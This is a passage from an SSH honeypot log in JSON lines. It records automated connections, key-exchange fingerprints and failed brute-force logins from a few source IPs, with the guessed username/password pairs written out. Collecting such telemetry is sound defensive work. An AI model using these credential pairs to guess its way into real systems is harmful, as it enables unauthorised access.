istp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:59.423929Z","src_ip":"192.109.200.78","session":"318c957dc81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:59.630594Z","src_ip":"103.82.132.16","session":"bf7110b05f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"pi","message":"login attempt [nexus/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:59.670955Z","src_ip":"192.109.200.78","session":"318c957dc81e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280989","message":"login attempt [root/280989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:00.404949Z","src_ip":"103.82.132.16","session":"bf7110b05f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:00.862659Z","src_ip":"192.109.200.78","session":"318c957dc81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:01.663158Z","src_ip":"103.82.132.16","session":"bf7110b05f64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43494,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f86500be790","protocol":"ssh","message":"New connection: 192.109.200.78:43494 (10.17.0.5:22) [session: 5f86500be790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:02.687649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:02.693953Z","src_ip":"192.109.200.78","session":"5f86500be790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:02.776292Z","src_ip":"192.109.200.78","session":"5f86500be790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"user","message":"login attempt [username/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:03.021576Z","src_ip":"192.109.200.78","session":"5f86500be790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:04.105906Z","src_ip":"192.109.200.78","session":"5f86500be790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43504,"dst_ip":"10.17.0.5","dst_port":22,"session":"c362c466b062","protocol":"ssh","message":"New connection: 192.109.200.78:43504 (10.17.0.5:22) [session: c362c466b062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:06.322999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:06.327028Z","src_ip":"192.109.200.78","session":"c362c466b062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:06.411763Z","src_ip":"192.109.200.78","session":"c362c466b062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:06.658810Z","src_ip":"192.109.200.78","session":"c362c466b062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:07.743906Z","src_ip":"192.109.200.78","session":"c362c466b062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43508,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7f85cd618c","protocol":"ssh","message":"New connection: 192.109.200.78:43508 (10.17.0.5:22) [session: 2f7f85cd618c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:09.747643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:09.752071Z","src_ip":"192.109.200.78","session":"2f7f85cd618c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:09.833493Z","src_ip":"192.109.200.78","session":"2f7f85cd618c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:10.077894Z","src_ip":"192.109.200.78","session":"2f7f85cd618c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:11.161619Z","src_ip":"192.109.200.78","session":"2f7f85cd618c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47866,"dst_ip":"10.17.0.5","dst_port":22,"session":"9230c0579f63","protocol":"ssh","message":"New connection: 192.109.200.78:47866 (10.17.0.5:22) [session: 9230c0579f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:13.022565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:13.132926Z","src_ip":"192.109.200.78","session":"9230c0579f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:13.135659Z","src_ip":"192.109.200.78","session":"9230c0579f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:13.578953Z","src_ip":"192.109.200.78","session":"9230c0579f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:14.662961Z","src_ip":"192.109.200.78","session":"9230c0579f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47878,"dst_ip":"10.17.0.5","dst_port":22,"session":"18f38b19ebad","protocol":"ssh","message":"New connection: 192.109.200.78:47878 (10.17.0.5:22) [session: 18f38b19ebad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:16.661889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:16.666435Z","src_ip":"192.109.200.78","session":"18f38b19ebad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:16.747943Z","src_ip":"192.109.200.78","session":"18f38b19ebad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:16.991101Z","src_ip":"192.109.200.78","session":"18f38b19ebad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:18.074509Z","src_ip":"192.109.200.78","session":"18f38b19ebad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47880,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b4c6a1e3bd","protocol":"ssh","message":"New connection: 192.109.200.78:47880 (10.17.0.5:22) [session: 02b4c6a1e3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:20.152123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:20.156394Z","src_ip":"192.109.200.78","session":"02b4c6a1e3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:20.237983Z","src_ip":"192.109.200.78","session":"02b4c6a1e3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:20.484781Z","src_ip":"192.109.200.78","session":"02b4c6a1e3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:21.569007Z","src_ip":"192.109.200.78","session":"02b4c6a1e3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60676,"dst_ip":"10.17.0.5","dst_port":22,"session":"02f408737fb5","protocol":"ssh","message":"New connection: 192.109.200.78:60676 (10.17.0.5:22) [session: 02f408737fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:23.622040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:23.641386Z","src_ip":"192.109.200.78","session":"02f408737fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:23.704329Z","src_ip":"192.109.200.78","session":"02f408737fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"12345","message":"login attempt [fivem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:24.021477Z","src_ip":"192.109.200.78","session":"02f408737fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:25.104455Z","src_ip":"192.109.200.78","session":"02f408737fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60692,"dst_ip":"10.17.0.5","dst_port":22,"session":"20de7fdd8425","protocol":"ssh","message":"New connection: 192.109.200.78:60692 (10.17.0.5:22) [session: 20de7fdd8425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:27.146183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:27.149295Z","src_ip":"192.109.200.78","session":"20de7fdd8425","protocol":"ssh"}
